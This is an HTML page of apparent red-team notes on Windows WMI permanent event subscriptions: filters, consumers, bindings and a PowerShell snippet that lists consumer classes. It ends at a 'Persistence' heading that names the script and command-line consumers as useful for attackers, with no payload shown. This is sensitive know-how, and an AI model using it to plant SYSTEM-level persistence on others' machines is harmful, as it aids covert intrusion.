<p id="bkmrk-wmi-has-an-infrastru" class="blockParagraph-544a408c" data-key="c1bfdd431e474bac89de758c887d858a"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="f3b4c4bca5fa40baa3fb879a5ac5c0ee">WMI has an infrastructure which provides the capability of respond and receive notifs when system changes happen (user logon, process creation...)</span></span></p>
<div id="bkmrk-consumer-%3A-consume-t">
<div>
<div>
<div>
<ul class="list-20526648" data-key="c5fdd94d612147548e409231b2960634"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="24c3f5dce51c441a9ae9ab6234d39d69"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="011274345f854fae953bec42387ba32c">Consumer : consume the events, can be temporary or permanent</span></span></p>
<div data-key="b8646fabfd424390bf8a7b5262ab2920">
<ul class="list-20526648--inList-acdf7afa" data-key="028a87559b8b4c8ca5bb57b055aed2d1"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="e6c492cd0eb84794aeedf12468031850"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="d817dd79a7094a9cb13b3cceb01959c9">Temporary : run as long the app is running</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="82efdea5bfd847b1916ed406433362da"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="ad693837b9a347ff9cd46927b621ff91">Permanent : run everytime, persistent across reboots, run as SYSTEM</span></span></p>
</li>
</ul></div>
</li>
</ul></div>
</div>
</div>
</div>
<p id="bkmrk-event-types-%3A" class="blockParagraph-544a408c" data-key="837f65bf2a954d7781f67d3049924c40"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="a4845a2be4cd4a6ba9d71ee8078e142c">Event types :</span></span></p>
<div data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldNSSUyMGhhcyUyMGFuJTIwaW5mcmFzdHJ1Y3R1cmUlMjB3aGljaCUyMHByb3ZpZGVzJTIwdGhlJTIwY2FwYWJpbGl0eSUyMG9mJTIwcmVzcG9uZCUyMGFuZCUyMHJlY2VpdmUlMjBub3RpZnMlMjB3aGVuJTIwc3lzdGVtJTIwY2hhbmdlcyUyMGhhcHBlbiUyMCh1c2VyJTIwbG9nb24lMkMlMjBwcm9jZXNzJTIwY3JlYXRpb24uLi4pJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNvbnN1bWVyJTIwJTNBJTIwY29uc3VtZSUyMHRoZSUyMGV2ZW50cyUyQyUyMGNhbiUyMGJlJTIwdGVtcG9yYXJ5JTIwb3IlMjBwZXJtYW5lbnQlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpc3QtdW5vcmRlcmVkJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyVGVtcG9yYXJ5JTIwJTNBJTIwcnVuJTIwYXMlMjBsb25nJTIwdGhlJTIwYXBwJTIwaXMlMjBydW5uaW5nJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyUGVybWFuZW50JTIwJTNBJTIwcnVuJTIwZXZlcnl0aW1lJTJDJTIwcGVyc2lzdGVudCUyMGFjcm9zcyUyMHJlYm9vdHMlMkMlMjBydW4lMjBhcyUyMFNZU1RFTSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJFdmVudCUyMHR5cGVzJTIwJTNBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkludHJpbnNpYyUyMCUzQSUyMGV2ZW50cyUyMHdoaWNoJTIwdHJpZ2dlcmVkJTIwb24lMjBhJTIwY2hhbmdlJTIwaW4lMjBXTUklMjBzdGFuZGFyZCUyQyUyMGZvciUyMGV4YW1wbGUlMjBhJTIwbmV3JTIwaW5zdGFuY2UlMjBvZiUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJ3aW4zMl9Mb2dpY2FsRGlzayUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJjb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpc3QtaXRlbSUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJFeHRyaW5zaWMlMjAlM0ElMjBldmVudHMlMjB3aGljaCUyMGFyZSUyMGRlZmluZWQlMjBieSUyMHRoZSUyMHVzZXIlMkMlMjBmb3IlMjBleGFtcGxlJTIwY29tcHV0ZXIlMjBzaHV0ZG93biUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" id="bkmrk-intrinsic-%3A-events-w">
<div>
<div>
<div>
<ul class="list-20526648" data-key="d4cbc1fc644b4afc9ae615a73826aa59"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="578902ea2325463e85384d4e253573ea"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="27503d75757842918f703566824ef21e">Intrinsic : events which triggered on a change in WMI standard, for example a new instance of <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">win32_LogicalDisk</code></span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="88d85f54d0e34db1b41d14de3ec61961"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="8be0b587faea4f0fbbdc1098bf93b112">Extrinsic : events which are defined by the user, for example computer shutdown</span></span></p>
</li>
</ul></div>
</div>
</div>
</div>
<h3 id="bkmrk-permanent-event-cons"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNyZWF0ZSUyMGElMjBzaGFkb3clMjBjb3B5JTIwb2YlMjB0aGUlMjBEQyUyMEMlM0ElNUMlNUMlMjBkcml2ZSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Permanent Event Consumers</span></h3>
<ul id="bkmrk-filter-%3A-the-target-"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="ba0a5e5e02874c9e86cb12b6fdfccd47"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="ba64e2cb3ac24099881298f13ef7720e">Filter : the target event</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="53a33d0e9848461bbc0b7543922e25b7"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="d7c7a0cd7fad48279ed893ad1c4365af">Consumer : action to do when event occurs</span></span></p>
</li>
<li class="" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkZpbHRlciUyMCUzQSUyMHRoZSUyMHRhcmdldCUyMGV2ZW50JTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyQ29uc3VtZXIlMjAlM0ElMjBhY3Rpb24lMjB0byUyMGRvJTIwd2hlbiUyMGV2ZW50JTIwb2NjdXJzJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyQmluZmluZyUyMCUzQSUyMHJlbGF0aW9uc2hpcCUyMGJldHdlZW4lMjBmaWx0ZXIlMjBhbmQlMjBjb25zdW1lciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="16615e80810a4cc48ef03a62523b18ad"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="a2d4c3770a9a446498bbad849615afc3">Binfing : relationship between filter and consumer</span></span></p>
</li>
</ul><h4 id="bkmrk-list-consumers"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkxpc3QlMjBjb25zdW1lcnMlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">List consumers</span></span></h4>
<pre id="bkmrk-%24namespaces-%3D-get-wm"><code class="language-Powershell">$namespaces = Get-WmiNamespaces
foreach ($ns in $namespaces) {Get-WmiObject -Namespace $ns -List | where {$_.__SUPERCLASS -eq 'EventConsumer'}}</code></pre>
<div id="bkmrk-class-description-ac">
<div>
<div>
<div>
<div>
<table class="table-0f56c2d8" style="border-style: solid;" data-key="89f048c551ac48be88079c5bc92c1332"><tbody><tr class="tableRow-41a0302b" data-key="bbb16db90858418fada7cdb3d8e81db8"><th class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="2dfb8c82fa794a32afae769a4c50baa1">
<p class="blockParagraph-544a408c--noMargin-acdf7afa align-center" data-key="522a4db890014fa0810aab4244b5ebf8"><strong><span class="text-4505230f--UIH400-4e41e82a--textContentFamily-49a318e1">Class</span></strong></p>
</th>
<th class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="65fe1ecadf3f461e8c9467c9262294b2">
<p class="blockParagraph-544a408c--noMargin-acdf7afa align-center" data-key="8caaa5ee150c4f4b8e1bb92765dd82c2"><strong><span class="text-4505230f--UIH400-4e41e82a--textContentFamily-49a318e1">Description</span></strong></p>
</th>
</tr><tr class="tableRow-41a0302b" data-key="eafa1eb9b4114638b03a53587c05a881"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="650a434061bc4bd380121b478633af81">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="6cb6ccf97ac7441ab2049412dd1f0072"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="1e5389ccc53c4defb47c457e88c35504">ActiveScriptEventConsumer</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="d765c599cd334ca4937fb87168a20255">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="bdc6dc0aab5946eb9c4555b7e1619bde"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="344cf558abcf4a26b5aaebeb2d148971">Executes a predefined VBScript or Jscript</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" data-key="c18bd231863348c29e640051dbf16ae8"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="9a7a8215bda945c1863091f930ce6fb6">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="f3a7cb4f46de47d3bc3e950fa1ca11de"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="2514cc225f1b4bb7b4c797b19c973283">CommandLineEventConsumer</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="13d38a2e767b451cb87aa8ed1f1acb93">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="a0e61aeac542418fba22832196742c2b"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="74428d59ca39419b975ffc013057edf6">Launches a process winth SYSTEM privileges</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" data-key="d945859c953a48dabf62377a5d83c2aa"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="6055f614edfd47e59d7e78caa1ffa1e6">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="2c0120d453d843b9832d7fa5fc3c2d20"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="3b242450807448e59876b819b958ee54">LogFileEventConsumer</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="1306b54909cc4f6b81d51eedfe2a84d0">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="f2e5586114fb47df94bf8f42c1966647"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="ed98551a6fdd447da5e80f0046e7670d">Write data to a log file</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" data-key="078f320bb0b94a54a998c76fd829dee9"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="fb370b8e43654fde80248d5496beec86">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="9c99787512064061a7aed5bd53edb3d4"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="345ee99650e14830b6875f67f1ec7bc8">NTEventLogEventConsumer</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="1e07d25be2be4d2cb0da6e75859dd517">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="e1f1d2f2a6ae43d78766637d725e9404"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="56758454f3b94000973097eba498ef74">Logs a message to the Windows event log</span></span></p>
</td>
</tr><tr class="tableRow-41a0302b" data-key="a3ff02edf6204f89aa44ced50f36e14c"><td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="cf4e5058d17d41c3b44c5060456284bf">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="ad75092730684f279aedf341693fedde"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="74e63317dcfc4ec1ad009a5219e454db">SMTPEventConsumer</span></span></p>
</td>
<td class="tableCell-150ac604--tableCellEditable-6ee34180" style="text-align: left; border-style: solid;" data-table="cell" data-key="024b7df0ebf14aa78d5b0f200f2d2e63">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="11cea3774fc842fbaf3af5b6b8d12353"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="e05121f93a884d2b8d2e76e0fea9ac0f">Sends an email using SMTP</span></span></p>
</td>
</tr></tbody></table></div>
</div>
</div>
</div>
</div>
<p id="bkmrk-%C2%A0"> </p>
<h3 id="bkmrk-persistence" class="blockParagraph-544a408c" data-key="fe491a65e055489a978d0d90d22d8ac0"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="00f8983f61964f57a3dddf6c12ec77be">Persistence</span></span></h3>
<p id="bkmrk-in-a-red-team-object" class="blockParagraph-544a408c" data-key="fe491a65e055489a978d0d90d22d8ac0"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="00f8983f61964f57a3dddf6c12ec77be">In a <strong class="bold-3c254bd9" data-slate-leaf="true">Red Team</strong> objective, <strong class="bold-3c254bd9" data-slate-leaf="true">ActiveScriptEventConsumer </strong>and <strong class="bold-3c254bd9" data-slate-leaf="true">CommandLineEventConsumer</strong> are the most useful</span></span></p>
<h4 id="bkmrk-activescripteventcon"><span class="text-4505230f--HeadingH400-686c0942--textContentFamily-49a318e1"><span data-key="6df40c42e70e4732890592d01b486414">ActiveScriptEventConsumer</span></span></h4>
<div data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkluJTIwYSUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJSZWQlMjBUZWFtJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJtYXJrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmJvbGQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjBvYmplY3RpdmUlMkMlMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyQWN0aXZlU2NyaXB0RXZlbnRDb25zdW1lciUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyYW5kJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkNvbW1hbmRMaW5lRXZlbnRDb25zdW1lciUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0E